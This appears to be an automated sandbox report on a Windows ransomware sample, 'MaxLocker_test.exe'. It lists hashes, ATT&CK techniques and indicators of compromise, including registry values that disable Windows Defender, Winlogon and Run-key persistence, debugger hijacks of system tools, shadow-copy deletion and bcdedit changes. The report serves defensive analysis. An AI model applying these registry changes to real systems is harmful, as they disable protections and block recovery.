8c5af3d31b5c52c76eb0d928bbb77feb55bbb25a6b072f3a1a293e6d8b48f070

Analysis

user interaction
yes
max time kernel
87s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/09/2026, 19:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MaxLocker_test.exe
Size 4.0MB
Sample260928-yn8a8sseja
SHA256 8c5af3d31b5c52c76eb0d928bbb77feb55bbb25a6b072f3a1a293e6d8b48f070
MD5 3ba8f0b332e6b825d578224a7c180c79
SHA1 144555ff6bce8e0fdb58e5a029981905e6eda5aa
SHA512 ea2ccf0ba8cb5da5b2f508dfe983c66f6b6a1bc6651352281a0324814b9f0667b0f1021184049e4974c4b2ee93639459d1d174e66413b3174e20999ab9c9db33
SSDEEP 98304:VRy3bEN4OVu3eMNnAeum5bC9zHNibjPUXB:f4f3l9AGC9ze4
TLSH
T12D16010F0340EA2DF8578E7930E30089E5A03FA75D24FDE98E58B356E573AE657C6252
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware defense_evasion discovery evasion execution impact persistence privilege_escalation ransomware spyware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 4 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe"	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Roaming\\MaxSecurity\\MaxSecurityUpdate.exe\""	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,\"C:\\Users\\Admin\\AppData\\Roaming\\MaxSecurity\\MaxSecurityUpdate.exe\","	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,"	MaxLocker_test.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	MaxLocker_test.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	MaxLocker_test.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	MaxLocker_test.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	MaxLocker_test.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	MaxLocker_test.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 21 IoCs

pid	Process
4192	bcdedit.exe
1412	bcdedit.exe
1216	bcdedit.exe
3260	bcdedit.exe
2628	bcdedit.exe
1348	bcdedit.exe
5800	bcdedit.exe
5920	bcdedit.exe
576	bcdedit.exe
1984	bcdedit.exe
2200	bcdedit.exe
6116	bcdedit.exe
5476	bcdedit.exe
2200	bcdedit.exe
6116	bcdedit.exe
1244	bcdedit.exe
1696	bcdedit.exe
2688	bcdedit.exe
6052	bcdedit.exe
1268	bcdedit.exe
2060	bcdedit.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	MaxLocker_test.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4736	powershell.exe

Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	MaxLocker_test.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 34 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DisplaySwitch.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Narrator.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net1.exe	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net1.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Narrator.exe	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemresetplatform.exe	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemresetplatform.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sc.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AtBroker.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sc.exe	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AtBroker.exe	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DisplaySwitch.exe	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ResetEngine.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemreset.exe	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exe	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exe	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemreset.exe\Debugger = "%windir%\\system32\\systray.exe"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ResetEngine.exe	MaxLocker_test.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MaxSecurityUpdate.exe	MaxLocker_test.exe

Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4736	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1524	MaxSecurityUpdate.exe
2160	MaxSecurityUpdate.exe

Impair Defenses: Safe Mode Boot 1 TTPs 3 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\MaxSecurityUpdate.exe	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\MaxSecurityUpdate.exe\ = "Service"	MaxLocker_test.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\MaxSecurityUpdate.exe	MaxLocker_test.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdate = "\"C:\\Users\\Admin\\AppData\\Roaming\\MaxSecurity\\MaxSecurityUpdate.exe\""	MaxLocker_test.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecurityUpdate = "\"C:\\Users\\Admin\\AppData\\Roaming\\MaxSecurity\\MaxSecurityUpdate.exe\""	MaxLocker_test.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemSecurityService = "\"C:\\Users\\Admin\\AppData\\Roaming\\MaxSecurity\\MaxSecurityUpdate.exe\""	MaxLocker_test.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4736	powershell.exe
2484	powershell.exe
5924	powershell.exe

Enumerates connected drives 3 TTPs 34 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	MaxLocker_test.exe
File opened (read-only)	\??\X:	MaxLocker_test.exe
File opened (read-only)	\??\Y:	MaxLocker_test.exe
	\??\F:\	powershell.exe
	\??\F:\	explorer.exe
	\??\F:\	MaxLocker_test.exe
File opened (read-only)	\??\M:	MaxLocker_test.exe
File opened (read-only)	\??\O:	MaxLocker_test.exe
	\??\E:\	explorer.exe
File opened (read-only)	\??\Q:	MaxLocker_test.exe
File opened (read-only)	\??\T:	MaxLocker_test.exe
File opened (read-only)	\??\W:	MaxLocker_test.exe
File opened (read-only)	\??\E:	explorer.exe
File opened (read-only)	\??\A:	MaxLocker_test.exe
File opened (read-only)	\??\H:	MaxLocker_test.exe
File opened (read-only)	\??\V:	MaxLocker_test.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\B:	MaxLocker_test.exe
File opened (read-only)	\??\D:	MaxLocker_test.exe
File opened (read-only)	\??\G:	MaxLocker_test.exe
File opened (read-only)	\??\N:	MaxLocker_test.exe
File opened (read-only)	\??\U:	MaxLocker_test.exe
File opened (read-only)	\??\K:	MaxLocker_test.exe
File opened (read-only)	\??\R:	MaxLocker_test.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\F:	explorer.exe
File opened (read-only)	\??\L:	MaxLocker_test.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\J:	MaxLocker_test.exe
File opened (read-only)	\??\P:	MaxLocker_test.exe
File opened (read-only)	\??\S:	MaxLocker_test.exe
File opened (read-only)	\??\Z:	MaxLocker_test.exe
	\??\F:\	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 37 IoCs

defense_evasion

Debugger Evasion

T1622

pid	Process
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe
3440	MaxLocker_test.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2380	chrome.exe

Checks SCSI registry key(s) 3 TTPs 62 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	explorer.exe
